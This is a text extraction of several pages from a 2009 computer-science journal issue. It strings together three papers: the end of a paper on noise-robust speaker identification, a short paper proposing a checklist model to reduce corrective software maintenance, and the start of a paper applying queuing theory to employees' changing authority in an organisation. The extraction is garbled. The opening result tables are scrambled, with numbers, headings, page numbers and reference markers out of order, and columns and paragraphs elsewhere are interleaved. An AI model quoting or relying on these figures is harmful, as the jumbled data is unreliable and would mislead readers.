TRAIN NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
15dB
90.00
91.33
63.33
73.33
85.00
10dB
80.00
85.00
53.33
70.00
76.67
5dB
66.67
86.67
53.33
63.33
63.33
SNR
133
76.67
53.33
SNR
BABBLE NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS
LPCC
83.67
TABLE V.
AIRPORT NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS
RCC
73.33
15dB
To measure the performance of the proposed system, NOIZEOUS speech database [37, 38] has been used. In NOIZEOUS speech database, eight different types of environmental noises (i.e. Airport, Babble, Car, Exhibition Hall, Restaurant, Street, Train and Train station) have been considered with four different SNRs such as 0dB, 5dB, 10dB and 15dB. All of the environmental conditions and SNRs have been accounted on the following experimental analysis.
ΔΔMFCC
73.33
Method
The optimal values of the critical parameters of the GA are chosen carefully according to various experiments. In noiseless environment, the crossover rate and number of generation have been found to be 5 for both. The performance analysis has been counted according to the text-dependent speaker identification system.
ΔMFCC
63.33
SNR
VII. PERFORMANCE ANALYSIS OF THE PROPOSED CODEBOOK DESIGN METHOD
MFCC
10dB
TABLE IV.
Figure 4. Performance comparison among various numbers of generations.
CAR NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS
0dB
66.67
73.33
46.67
66.67
63.33
Average
75.84
84.08
54.17
68.33
72.08
ISSN 1947 5500
TABLE VIII.
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009
TRAIN STATION NOISE AVERAGE IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS
Method
MFCC
ΔMFCC
ΔΔMFCC
RCC
LPCC
15dB
86.67
90.00
53.33
70.00
76.67
10dB
76.67
76.67
53.33
66.67
73.33
5dB
63.33
66.67
46.67
56.67
63.33
0dB
60.00
63.33
46.67
53.33
60.00
Average
71.67
74.17
50.00
61.67
68.33
SNR
[3]
[4] [5]
[6]
[7]
Table IX shows the overall average speaker identification rate for NOIZEOUS speech corpus. From the table it is easy to compare the performance among MFCC, ΔMFCC, ΔΔMFCC, RCC and LPCC methods for DHMM based codebook technique. It is shown that ΔMFCC has greater performance (i.e. 79.62 [%]) than any other methods such as MFCC, ΔΔMFCC, RCC and LPCC.
[8]
[9]
[10] TABLE IX.
OVERALL AVERAGE SPEAKER IDENTIFICATION RATE (%) FOR NOIZEOUS SPEECH CORPUS
Airport Noise
79.81
Δ MFCC 81.76
Babble Noise
73.33
78.33
Method Various Noises
MFCC
ΔΔ MFCC 53.86
60.57
65.93
52.50
57.50
70.00
RCC
[11] [12]
LPCC
Car Noise
69.17
77.44
54.17
63.33
69.17
Exhibition Hall Noise
80.83
82.92
67.50
74.17
76.92
Restaurant Noise
74.58
78.25
50.94
71.67
73.33
Street Noise
74.17
80.00
55.00
70.00
73.33
Train Noise
75.84
84.08
54.17
68.33
72.08
Train Station Noise Average Identification Rate (%)
71.67
74.17
50.00
61.67
68.33
74.93
79.62
54.77
65.91
71.14
[13]
[14]
[15]
[16]
VIII. CONCLUSION AND OBSERVATION
[17]
The experimental results reveal that the performance of the proposed codebook design method yields about 93.00 [%] identification rate in noiseless environments and 79.62 [%] in noisy environments that are seemingly higher than the previous techniques that utilized LBG clustering method. However, a benchmark comparison is needed to establish the superiority of this proposed method and which is underway. In the speaker identification technique, noise is a common factor that influences the performance of this technique significantly. In this work, efficient noise removing technique has been used to enhance the performance of the proposed GA based codebook design method. So, GA based codebook design method is capable of protect in the system from noise distortion. The performance of this system may be tested by using large speech database and it will be the further work of this system.
[18] [19] [20] [21] [22]
[23] [24]
REFERENCES [1] [2]
[25]
Rabiner, L., and Juang, B.-H., Fundamentals of Speech Recognition. Prentice Hall, Englewood Cliffs, New Jersey, 1993. Jain, A., R.P.W.Duin, and J.Mao., “Statistical pattern recognition: a review”, IEEE Trans. on Pattern Analysis and Machine Intelligence 22, 2000, pp. 4–37.
[26]
134
Sadaoki Furui, “50 Years of Progress in Speech and Speaker Recognition Research”, ECTI TRANSACTIONS ON COMPUTER AND INFORMATION TECHNOLOGY, vol.1, no.2, 2005. Rabiner, L.R., and Juang, B.H., “An introduction to hidden Markov models”, IEEE ASSP Mag., 3, (1), 1986, pp. 4–16. Matsui, T., and Furui, S., “Comparison of text-dependent speaker recognition methods using VQ-distortion and discrete=continuous HMMs”, Proc. ICASSP’92, vol. 2, 1992, pp. 157–160. Y. Linde, A. Buzo, and R.M. Gray, “An Algorithm for Vector Quantizater Design”, IEEE Transaction on Comm., vol. 28, 1980, pp. 84-95. J. G. Wilpon and L. R. Rabiner, “A modifii K-means clustering algorithm for use in isolated word recognition”, IEEE Trans. on Acoust.. Speech, and Signal Processing, vol. ASSP-33, 1985, pp. 587-594. H. Iwamida, S. Katagiri, E. McDermott, and Y. Tohokura, “A hybrid speech recognition system using HMMs with an LVQ-trained codebook”, Proc. IEEE Int. Conf. Acoust.. Speech. Signal Processing, 1990, pp. 489-492. Simon Doclo and Marc Moonen, “On the Output SNR of the SpeechDistortion Weighted Multichannel Wiener Filter”, IEEE SIGNAL PROCESSING LETTERS, vol. 12, no. 12, 2005. Wiener, N., Extrapolation, Interpolation and Smoothing of Stationary Time Series with Engineering Applications. Wiely, Newyork, 1949. Wiener, N., Paley, R. E. A. C., “Fourier Transforms in the Complex Domains”, American Mathematical Society, Providence, RI, 1934. Koji Kitayama, Masataka Goto, Katunobu Itou and Tetsunori Kobayashi, “Speech Starter: Noise-Robust Endpoint Detection by Using Filled Pauses”, Eurospeech 2003, Geneva, 2003, pp. 1237-1240. S. E. Bou-Ghazale and K. Assaleh, “A robust endpoint detection of speech for noisy environments with application to automatic speech recognition”, Proc. ICASSP2002, vol. 4, 2002, pp. 3808–3811. Martin, D. Charlet, and L. Mauuary, “Robust speech / non-speech detection using LDA applied to MFCC”, Proc. ICASSP2001, vol. 1, 2001, pp. 237–240. Richard. O. Duda, Peter E. Hart, David G. Strok, Pattern Classification, A Wiley-interscience publication. John Wiley & Sons, Inc, Second Edition, 2001. Sarma, V., Venugopal, D., “Studies on pattern recognition approach to voiced-unvoiced-silence classification”, Acoustics, Speech, and Signal Processing, IEEE International Conference on ICASSP '78, vol. 3, 1978, pp. 1-4. Qi Li. Jinsong Zheng, Augustine Tsai, Qiru Zhou, “Robust Endpoint Detection and Energy Normalization for Real-Time Speech and Speaker Recognition”, IEEE Transaction on speech and Audion Processing, vol.10, no.3, 2002. Harrington, J., and Cassidy, S., Techniques in Speech Acoustics. Kluwer Academic Publishers, Dordrecht, 1999. Makhoul, J., “Linear prediction: a tutorial review”, Proceedings of the IEEE 64, 4, 1975, pp. 561–580. Picone, J., “Signal modeling techniques in speech recognition”, Proceedings of the IEEE 81, 9, 1993, pp. 1215–1247. Clsudio Beccchetti and Lucio Prina Ricotti, Speech Recognition Theory and C++ Implementation. John Wiley & Sons. Ltd., 1999, pp.124-136. L.P. Cordella, P. Foggia, C. Sansone, M. Vento., “A Real-Time TextIndependent Speaker Identification System”, Proceedings of 12th International Conference on Image Analysis and Processing, IEEE Computer Society Press, Mantova, Italy, 2003, pp. 632 - 637. J. R. Deller, J. G. Proakis, and J. H. L. Hansen, Discrete-Time Processing of Speech Signals. Macmillan, 1993. F. Owens., Signal Processing Of Speech. Macmillan New electronics. Macmillan, 1993. F. Harris, “On the use of windows for harmonic analysis with the discrete fourier transform”, Proceedings of the IEEE 66, vol.1, 1978, pp.51-84. J. Proakis and D. Manolakis, Digital Signal Processing, Principles, Algorithms and Aplications. Second edition, Macmillan Publishing Company, New York, 1992.
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol. 4, No. 1, 2009 AUTHORS PROFILE
[27] D. Kewley-Port and Y. Zheng, “Auditory models of formant frequency discrimination for isolated vowels”, Journal of the Acostical Society of America, 103(3), 1998, pp. 1654–1666. [28] D. O’Shaughnessy, Speech Communication - Human and Machine. Addison Wesley, 1987. [29] E. Zwicker., “Subdivision of the audible frequency band into critical bands (frequenzgruppen)”, Journal of the Acoustical Society of America, 33, 1961, pp. 248–260. [30] S. Davis and P. Mermelstein, “Comparison of parametric representations for monosyllabic word recognition in continuously spoken sentences”, IEEE Transactions on Acoustics Speech and Signal Processing, 28, 1980, pp. 357–366. [31] S. Furui., “Speaker independent isolated word recognition using dynamic features of the speech spectrum”, IEEE Transactions on Acoustics, Speech and Signal Processing, 34, 1986, pp. 52–59. [32] S. Furui, “Speaker-Dependent-Feature Extraction, Recognition and Processing Techniques”, Speech Communication, vol. 10, 1991, pp. 505-520. [33] Koza, J .R., Genetic Programming: On the programming of computers by means of natural selection. Cambridge: MIT Press, 1992. [34] D.E. Goldberg, Genetic Algorithms in Search, Optimization and Machine Learning. Addison- Wesley, Reading, MA, 1989. [35] Z. Michalewicz, Genetic Algorithms + Data Structures = Evolution Programs. Springer-Verlag, New York, USA, Third Edition, 1999. [36] Rajesskaran S. and Vijayalakshmi Pai, G.A., Neural Networks, Fuzzy Logic, and Genetic Algorithms- Synthesis and Applications. PrenticeHall of India Private Limited, New Delhi, 2003. [37] Hu, Y. and Loizou, P., “Subjective comparison of speech enhancement algorithms”, Proceedings of ICASSP-2006, I, Toulouse, France, 2006, pp. 153-156,. [38] Hu, Y. and Loizou, P., “Evaluation of objective measures for speech enhancement”, Proceedings of INTERSPEECH-2006, Philadelphia, PA, 2006.
Md. Rabiul Islam was born in Rajshahi, Bangladesh, on December 26, 1981. He received his B.Sc. degree in Computer Science & Engineering and M.Sc. degrees in Electrical & Electronic Engineering in 2004, 2008, respectively from the Rajshahi University of Engineering & Technology, Bangladesh. From 2005 to 2008, he was a Lecturer in the Department of Computer Science & Engineering at Rajshahi University of Engineering & Technology. Since 2008, he has been an Assistant Professor in the Computer Science & Engineering Department, University of Rajshahi University of Engineering & Technology, Bangladesh. His research interests include bio-informatics, human-computer interaction, speaker identification and authentication under the neutral and noisy environments. Md. Fayzur Rahman was born in 1960 in Thakurgaon, Bangladesh. He received the B. Sc. Engineering degree in Electrical & Electronic Engineering from Rajshahi Engineering College, Bangladesh in 1984 and M. Tech degree in Industrial Electronics from S. J. College of Engineering, Mysore, India in 1992. He received the Ph. D. degree in energy and environment electromagnetic from Yeungnam University, South Korea, in 2000. Following his graduation he joined again in his previous job in BIT Rajshahi. He is a Professor in Electrical & Electronic Engineering in Rajshahi University of Engineering & Technology (RUET). His current research interest are Dgital Sgnal Pocessing, Electronics & Machine Control and Hgh Vltage Dscharge Aplications. He is a member of the Institution of Engineer’s (IEB), Bangladesh, Korean Institute of Illuminating and Installation Engineers (KIIEE), and Korean Institute of Electrical Engineers (KIEE), Korea.
135
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
A Step towards Software Corrective Maintenance: Using RCM model Shahid Hussain
Muhammad Zubair Asghar
Department of computing Namal College Mianwali, Pakistan [email protected]
ICIT Gomal University Dera Ismail Khan, Pakistan [email protected]
Bashir Ahmad
Shakeel Ahmad
ICIT Gomal University Dera Ismail Khan, Pakistan [email protected]
ICIT Gomal University Dera Ismail Khan, Pakistan [email protected]
modification of a software product after delivery to improve performance or maintainability and preventive maintenance is performed for the purpose of preventing problems before they occur. In this paper the main focus of authors is towards corrective maintenance to overcome the all problems arising in requirements, design, coding, documentation and testing activities. According to Yogesh [1] software maintenance process is costs 50% for Perfective maintenance, 25% for Adaptive maintenance, 21% for Corrective maintenance and 4% for Preventive maintenance. In this paper authors proposed a RCM model to reduce the maintenance cost by incorporating checklists for concerned stakeholder of each phase of software development life cycle. This would lead to reduction of post efforts made by stake holders during corrective maintenance and decrease the percentage effort of corrective maintenance suggested by Yogesh[ 1 ].
Abstract--From the preliminary stage of software engineering, selection of appropriate enforcement of standards remained a challenge for stakeholders during entire cycle of software development, but it can lead to reduce the efforts desired for software maintenance phase. Corrective maintenance is the reactive modification of a software product performed after delivery to correct discovered faults. Studies conducted by different researchers reveal that approximately 50 to 75% of the effort is spent on maintenance, out of which about 17 to 21% is exercised on corrective maintenance. In this paper, authors proposed a RCM (Reduce Corrective Maintenance) model which represents the implementation process of number of checklists to guide the stakeholders of all phases of software development. These check lists will be filled by corresponding stake holder of all phases before its start. More precise usage of the check list in relevant phase ensures successful enforcement of analysis, design, coding and testing standards for reducing errors in operation stage. Moreover authors represent the step by step integration of checklists in software development life cycle through RCM model. Keywords—RCM model, Maintenance, Checklist, Corrective maintenance, stakeholders.
II. SOFTWARE MAINTENANCE Software maintenance is the process to correct the faults arises in software product after its delivery. IEEE [2, 3] definition for software maintenance is:
I. INTRODUCTION The selection of proper enforcement of standards is the challenging task right from early stage of software engineering which has not got definite importance by the concerned stakeholders. Software maintenance takes more effort than all other phases of software life cycle, but it has not been given as much importance as it deserved. It is an admitted fact that approximately 60 to 70% effort is spent on maintenance phase of software development life cycle. Software maintenance is classified into corrective, adaptive, perfective and preventive maintenance. According to IEEE[2, 3], corrective maintenance is the reactive modification of software product performed after delivery to correct discovered faults, adaptive maintenance is the modification of a software product performed after delivery to keep software usable in a changed or changing environment, perfective maintenance is the
The modification of a software product after delivery to correct faults, to improve performance or other attributes or to adapt the product to a modified environment. It has been observed during different studies that software maintenance is the most time consuming activity in SDLC , Fig-1 shows maintenance iceberg depicting the time consuming nature of software maintenance. Software is to be modified when it is not fulfilling the needs of the environment in which it works.
136
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
maintenance of software especially for corrective maintenance. In this paper authors use RCM model to provide guidelines to concerned stakeholders of each phase of software development life cycle. The working of RCM model is represented through Figure-1. Before the start of each phase concerned stack holders fill a checklist which guides them about standard methods to perform their activities. If all concerned stakeholders of each phase worked according to the guidelines of checklist then it can affect the total effort required for software corrective maintenance. The stakeholders of requirement elicitation phase will fill the checklist shown in Table-1 before start of their work. The evaluation result of this checklist will show that all requirements are clear and understandable to concerned stakeholders. This would lead to reduce the error chances which can arise due to ambiguities in requirement elicitation process. The stakeholders of requirement specification phase will fill the checklist shown in Table-2 before the start of their work. The evaluation result of this checklist will show that specification of requirements is understandable to the concerned stakeholders and reduces the error chances which can arise due to improper specification of requirements. The stakeholders of designing phase will fill the checklist shown in Table-3 before the start of their work. The evaluation result of this checklist will show that the architectural, data, procedural and user interface designing of software is understandable to the concerned stack holders and reduces the error chances which can arise due to lack of proper understanding of designing activities. The stakeholders of coding phase will fill the checklist shown in Table-4 before the start of their work. The evaluation result of this checklist will show that coding standard features are understandable to concerned stakeholders and reduces the error chances which can arise due to lack of proper understanding of coding constructs. The stakeholders of testing phase will fill the checklist shown in Table-5 before the start of their work. The evaluation result of this checklist will show that software will be tested with respect to each aspect and reduces the error chances which can arise due to improper testing process.
Development
Maintenance
Figure-1
Maintenance Ice Berg [Martin and McClure 1983]
Different models and techniques are proposed by researchers in the area of software corrective maintenance [4, 5, 6]. Walia and Jeffrey proposed a catalog C[7] for aid of developers to reduce errors during the requirement inspection process and to improve overall software quality. The Study of Jie-Cherng Chen and Sun-Jen Huang [8] show the empirical evidence for all those problem factors which are faced during the software development phase and affects the software maintainability negatively. Similarly, Andrea De Lucia et ,al [9] provided an empirical assessment and improvement of the effort estimation model for corrective maintenance. Authors’ proposed model provides an easy and sequential procedure for integrating checklists into SDLC for reducing effort for software corrective maintenances III. RCM MODEL The whole work of software development life cycle is dived into five main phases such as requirement elicitation, requirement specification, designing, coding and testing. In each phase if roles are not properly guided to operate their activities then it can cause to increase the efforts required for
Check-Lists
SDLC Phases Requirement Elicitation
RE Check List
Requirement Specification
RS Check List
Design
Design Check List
Coding
Coding Check List
Testing
Coding Check List
Stakeholders
Figure- 2. RCM Model for Software Corrective Maintenance
137
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
The checklist for requirement elicitation phase enables the concern stakeholders to identify the requirements in a clear and precise way. Repetition in gathered requirement should be avoided, easy to understand in recommended natural. Moreover dependencies among requirements should be clear and once requirement elicitation is completed, then further no requirement can be gathered. If concern stakeholder such as system analyst follows this checklist in precise manner then
errors which can arise due to inconsistencies and repetition can be avoided and it will directly impact the corrective maintenance efforts. The column heading Yes and No of Table-1 show that given points of checklist are clearly understandable by concern stakeholders or not. And the checklist will be analyzed on the base of these values. Moreover, same concept is used for other checklists.
TABLE-1. CHECKLIST FOR STAKEHOLDERS OF REQUIREMENT ELICITATION PHASE ACTIVITY CODE RE-1
DESCRIPTION Natural Language for requirement gathering is understandable.
RE-2
No requirement would be repeated
RE-3
Each requirement should be clear and accurate
RE-4
The source of each dependent requirement should identifiable.
RE-5
All sources to collect requirement should be known able.
RE-6
Take full detail of each requirement from customer
RE-7
No requirement of customer will entertain after collecting all requirements and starting of new phase
The checklist for requirement specification phase enables the concern stakeholders to use proper methods for specification of requirements. It ensures that SRS should be clear and
YES
NO
understandable to all stakeholders. The stakeholders of this phase should have sufficient knowledge of formal and informal specification and its tools or languages.
TABLE-2. CHECKLIST FOR STAKEHOLDERS OF REQUIREMENT SPECIFICATION PHASE ACTIVITY CODE RS-1
DESCRIPTION The structure of SRS is clear and understandable
RS-2
Knowledge of informal specification of requirements
RS-3
Knowledge of formal specification of requirements
RS-4
Use of informal specification tool or language
RS-5
Use of formal specification tool or language
RS-6
SRS must be clear to all stack holders
RS-7
Data, functional and behavioral modeling is understandable
The checklist for designing phase enables the concern stakeholders to perform both back-end and front-end designing of softwares in precise form. This checklist leads to make easy and understandable transformation process of
YES
NO
analysis model into different types of designing models such as architectural, data, procedural and user interface designing. The relationship among modules should be clear and understandable for all stakeholders.
TABLE-3. CHECKLIST FOR STAKEHOLDERS OF DESIGN PHASE ACTIVITY CODE D-1 D-2
DESCRIPTION
YES
NO
SRS is clear and understandable
D-3
Architectural design of software is clear and users have performed acceptance testing Black box testing on architectural design have been performed
D-4
Database designing is properly designed and understandable
D-5
Relationship among dependent modules is clear
D-6
User interface designing is accepted by user
D-7
Data Dictionary is clear and properly designed
D-8
Design strategy either top-down or bottom-up is clear
D-9
Standards for procedural designing are clear
138
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
The checklist for coding phase enables the concern stakeholders to clearly understand the basic construct such variable, array and functions of programming language.
Moreover, this checklist shows that validation process of text and exception handling process will be clear to concern stakeholders.
TABLE-4. CHECKLIST FOR STAKEHOLDERS OF CODING PHASE
ACTIVITY CODE C-1
DESCRIPTION Each variable should be correctly typed.
C-2
Used data structure should be clear
C-3
Scope of all variables should be clear
C-4
Variables are initialized without garbage values
C-5
Size of buffers is appropriated.
C-6
Buffer’s overflow are properly checked
C-7
Signatures of function are understandable
C-8
Functions should be properly called
C-9
Use of formal and actual parameters should be clear
C-10
Recursive function should be properly called and ended
C-11
All other construct of programming language should be properly used
C-12
Use of third party control is valid.
C-13 C-14
All database files should be proper open or close when control is transfer from one module to another. Proper validation rules and validation text should be defined
C-15
Exception handling should be properly embedded into program structure
The checklist for testing phase enables the concern stakeholders to clearly understand the testing methods such as white-box, grey-box and black-box. Moreover, this
YES
NO
checklist presents that all testing activities will be done properly and understandable to all stakeholders.
TABLE-5. CHECKLIST FOR STAKEHOLDERS OF TESTING PHASE
T-1
ACTIVITY CODE
DESCRIPTION Unit testing for each component should be properly performed
T-2
Module level testing should be properly performed
T-3
Modules are properly integrated and tested
T-4
Function of each module should be tested through functional testing
T-5
In white-box testing, each path should be clearly defined
T-6
Use of all constructs of programming language should be properly tested.
T-7
Functional requirement of users should be tested
YES
NO
stakeholders of requirement elicitation phase will be trained. When Requirement Elicitation will going to end then parallel training of next phase stakeholders will be started and this process will remains continue till the end of software’ development. This strategy will helps to reduce the extra time consumed on stakeholders’ training. The project manager will be responsible to overlook the work of both projects and analyze the result. Different factors are targeted to analyze the performance of RCM model such as quality, defect rates, reduction in efforts, cost, complexity, productivity and reliability.
IV IMPLEMENTATION PLAN The implementation process of RCM model has been started shown in fig-3. Two teams of students are used to develop same project. The development experience level of all students of both teams is same. The development and maintenance process for first project will be ordinary but in second project development and maintenance team will follow the rules of RCM model and will analyzed the result. The stakeholders of team, which are using RCM model, are trained to understand the purpose of checklist. For example if a programmer can not understand the function of use of buffer, multi threading, recursive calling, parameters’ scope and access, or multi tasking then he cant not fill the related checklist effectively. Before start of project, only the
139
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
Project
Team 1 Using Ordinary Development process
Team 2 Using RCM model in Development process
Team 1 Using Ordinary maintenance process
Team 2 Using RCM model in maintenance process
Checklists will be used by related stake holders
Project manager will overlook the work of both team and will analyze the targeted factors such as reliability, maintainability, productivity, complexity etc
Figure-3. Flow graph for Implementation Strategy
V. CONCLUSION
[3] IEEE, “IEEE Standard for Software Maintenance”, IEEE Std 147642006. The Institute of Electrical and Electronics Engineers, Inc. 2006. [4]. Scott D. Fleming et al, A study of student strategies for the corrective maintenance of concurrent software, ICSE '08: Proceedings of the 30th international conference on Software engineering Publisher: ACM, May 2008. [5] Mariam Sensalire et al, “Classifying desirable features of software visualization tools for corrective maintenance” , SoftVis '08: Proceedings of the 4th ACM symposium on Software visualization Publisher: ACM , September 2008. [6]. Mira Kajko-Mattsson, Stefan Forssander, Ulf Olsson, “Corrective maintenance maturity model” (CM3): maintainer's education and training, ICSE '01: Proceedings of the 23rd International Conference on Software Engineering Publisher: IEEE Computer Society, July 2001. [7] Gursimran Singh Walia a, Jeffrey C. Carver b , “A systematic literature review to identify and classify software requirement errors”, Information and Software Technology 51 (2009) 1087–1109, 2009 Elsevier B.V.< http:// www.elsevier.com/ locate/ infsof> [8] Jie-Cherng Chen, Sun-Jen Huang, “An empirical analysis of the impact of software development problem factors on software maintainability”, The Journal of Systems and Software 82 (2009) 981–992, 2009 Elsevier Inc. [9] Andrea De Luciaa,*, Eugenio Pompellab, Silvio Stefanuccic, “Assessing effort estimation models for corrective maintenance through empirical studies”, Information and Software Technology 47 (2005) 3–15,
Software maintenance process consumes half of the budget and time to complete a software project and usually 21% of total maintenance efforts are devour by corrective maintenance. The corrective maintenance efforts are increases due to flaws remains in other phase of software development life cycle. These flaws can be overcome if stakeholders fully understand the activities of each concern phase. Authors proposed a RCM model which comprises on filling and analyzing process of checklists in each phase. If all stakeholders of each phase filled the checklist in precise manner then evaluated result of each checklist shows that how much stakeholder have understand the activities. Such process would leads to reduce the corrective maintenance effort which is increasing the overall effort percentage of software maintenance. RCM model is in its infancy period, it just presents an idea of how to reduce software corrective maintenance effort. Moreover, the checklist of RCM can be updated by stakeholder who will apply this model during development process of software. REFERENCES [1] Yogesh Singh and Bindu Goel, “A Step Towards Software Preventive Maintenance”, ACM SIGSOFT Software Engineering Notes, Volume 32 Number 4, July 2007. [2]. IEEE, “IEEE Standard for Software Maintenance”, IEEE Std 12191998. The Institute of Electrical and Electronics Engineers, Inc. 1998.
140
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security Vol. 4, No. 1 & 2, 2009
published two international publications in the areas of Robot simulation and medical expert systems.
Mr. Shahid Hussain has done MS in Software Engineering from City University, Peshawar, Pakistan. He has got distinction throughout his academic carrier. He has done his research by introducting best practices in different software process models. I have introduced a new role communication model in RUP using pairing programming as best practise.. Recently, I am working as coursechair cum Leccturer in Namal College, an associate college of University of Bradford. Moreover, I have publish many research paper in different national/international journals and conferences such as MySec04, JDCTA, IJCSIS, NCICT, ZABIST. Similarly, I have worked as computer programmer with SRDC (British Council), Peshawar, Pakistan and have developed many softwares. My furtue aim is to join an organization where I can polish my abilities.
Dr. Shakeel Ahmad received his B.Sc. with distinction from Gomal University, Pakistan (1986) and M.Sc. (Computer Science) from Qauid-e-Azam University, Pakistan (1990). He served for 10 years as a lecturer in Institute of Computing and Information Technology (ICIT), Gomal University Pakistan. Now he is serving as an Assistant Professor in ICIT, Gomal University Pakistan since 2001. He is among a senior faculty member of ICIT. Mr. Shakeel Ahmad received his PhD degree (2007) in Performance Analysis of Finite Capacity Queue under Complex Buffer Management Scheme. Mr. Shakeel’s research has mainly focused on developing cost effective analytical models for measuring the performance of complex queueing networks with finite capacities. His research interest includes Performance modelling, Optimization of congestion control techniques, Software refactoring, Network security, Routing protocols and Electronic learning. He has produced many publications in Journal of international repute and also presented papers in International conferences. Mr. Muhammad Zubair Asghar is an MS student in Institute of Computing and information technology, Gomal University D.I.Khan, Pakistan. He has got distinction throughout his academic carrier. He is doing specialization in the area of software corrective maintenance. Author has also done work in the area of Artificial intelligence and got 141
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. 1 & 2, 2009
Electronic Authority Variation M.N.Doja
Dharmender Saini
CSE Department Jamia Millia Islamia New Delhi, India [email protected]
CSE Department Jamia Millia Islamia New Delhi, India [email protected] application like [5, 6, 7] were suggested. In 2005 [8] Burrows presented a method for XSL/XML based authorization rules policy implementation through filing a patent in united state patent office. he implemented XSL/XML based authorization rules policy on a given set of data and used an authorization rules engine which uses authorization rules defined in XSL to operate on access decision information (ADI) provided by the user. Inside the authorization rules engine, a boolean authorization rules mechanism is implemented to constrain the XSL processor to arrive at a boolean authorization decision. When a person joins in an organization, he becomes authorize to take some decisions on behalf of that organization; means he is given some authority to exercise. After some time, on the basis of his performance in the organization, he is given promotion to some higher level and he becomes eligible to exercise to some higher authorities. And further, he may get some higher promotion or he may leave the organization. So, during his stay in the organization, the authority of that person varies from the time he joins the organization until he/she leaves the organization and also he remain in the queue [10, 11, 12] for next position. This paper presents the variation in authorities of a person in the organization. As soon as the person gets the promotion his/her authority database is updated to reflect the current authorities. The method implements the queuing model to analyze the various people in the queue of their promotion and looks at various parameters like average waiting time etc.
Abstract— when a person joins in an organization, he becomes authorize to take some decisions on behalf of that organization; means he is given some authority to exercise. After some time, on the basis of his performance in the organization, he is given promotion and he becomes eligible to exercise to some higher authorities. And further, he may get some higher promotion or he may leave the organization. So, during his stay in the organization, the authority of that person varies from the time he joins the organization until he/she leaves the organization. This paper presents the variation in authorities of a person in the organization. The method implements the queuing model to analyze the various people in the queue of their promotion and looks at various parameters like average waiting time etc. Keywords- Authority: Authority Level
I.
Authority
Variation:
INTRODUCTION
The problem of authorization was raised in 1990 by Fischer [1] for he confirmation of the originality of source. Russell [2] in 1994 described the problem in detail and suggested various options available to the receiver. He suggested some basic principles of authorization at source like auditing by receiver, trusted third party originator, and self audit. He further categorized authorization in two parts i.e. person based authorization and rule based authorization. Person based authorization uses digital signatures and certificates, where as a rule based authorization is based on rules provided to the receiver for verification of authorization. Thomas woo [3] in 1998 suggested the design of distributed authorization service which parallels existing authentication services for distributed systems. In 2000 Michiharu and Santoshi [4] presented xml document security based on provisional authorization. They suggested an xml access control language (XACL) that integrates security features such as authorization, nonrepudiation, confidentiality, and an audit trail for xml documents. During the period of 1996 to 2005 various types of authorization and its
This paper is organized in four parts. Part 1 presents introduction to the problem addressed, Part II explains the Queuing Theory basics, Part III presents the Queuing Model implementation for our scheme and Part IV presents XML Policy for the User is used in this system. Part V presents Authority Variation when a person moves from one level of the queue to other level. Part VI presents conclusion and Part VII presents application and future scope.
142
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. 1 & 2, 2009
II.
QUEUING THEORY BASICS
D. Queue Queues are either infinite or finite. If a queue is finite, it holds a limited number of customers. The amount of time a customer waits in the queue is called the queuing time. The number of customers who arrive from the calling population and join the queue in a given period of time is modeled by a statistical distribution. In our system, we have taken the queue of people, waiting for their promotion or their authority to upgrade.
Queuing theory [10, 11] is a mathematical concept which is used the application study its various application in technology and all other related areas. We have used this concept to study people in organization are basically a queue of various points for example they may be in promotion queues. When they enter in the organization they are in the queue. When they are inside in the organization they are in the queue of promotion. Here we are studying the case when they are inside the organization and they are in the promotion queue. For example employees from level one L1 gets promotion to higher level two L2 and then higher and so on. But for simplicity, here we have taken only three levels i.e. L1, L2, and L3.
E. Queue Discipline The queue discipline is a rule through which customers are selected from the queue for processing by servers. For example, first-comefirst-served (FCFS), where the customers are processed in the order they arrived in the queue. Most queuing models assume FCFS as the queue discipline. We have also assumed the same approach. In our system the queue discipline is the rule on the basis of which the promotion of employees occur.
So, just for brief introduction to this concept the brief introduction of this concept is presented. The three basic terms in queuing theory are customers, queues, and servers.
F. Basic Notations [10] λn : Mean arrival rate of new customers when n customers are in the system.
A. Customers Customers are generated by an input source. The customers are generated according to a statistical distribution and the distribution describes their interarrival times, i.e the times between arrivals of customers. The customers join a queue. In our system customers are person joining the organization.
μn : Mean service rate (expected number of customers completing service per unit time) when n customers are in the system. P (i) : Probability of exactly i customers in queueing system.
B. Server (Service Mechanism) Customers are selected for service by the server at various times. The rule on the basis of which the customers are selected is called the queue discipline. The head of the queue is the customer who arrived in the queue first and tale, a person who is in the last. In our system the server is the organization authorities.
L : Expected number of customers in the queueing system. LS : Average waiting in the system.. III. QUEUING MODEL IMPLEMENTATION When a person joins in an organization, he becomes authorize to take some decisions on behalf of that organization; means he is given some authority to exercise. After some time, on the basis of his performance in the organization, he is given promotion and he becomes eligible to exercise to some higher authorities. And further, he may get some higher promotion or he may leave the organization. So, during his stay in the organization, the authority of that person varies from the time he joins the organization until he/she leaves the organization. This paper presents the variation in authorities of a person in
C. Input Source The input source is a population of individuals, and as such is called the calling population. The calling population has a size, which is the number of potential customers to the system. The size can either be finite or infinite. The input source in our system is the process which supplies person to the organization department fro example Human Resource Process.
143
ISSN 1947 5500
(IJCSIS) International Journal of Computer Science and Information Security, Vol.4, No. 1 & 2, 2009
the organization. The method implements the queuing model to analyze the various people in the queue of their promotion and looks at various parameters like average waiting time etc.
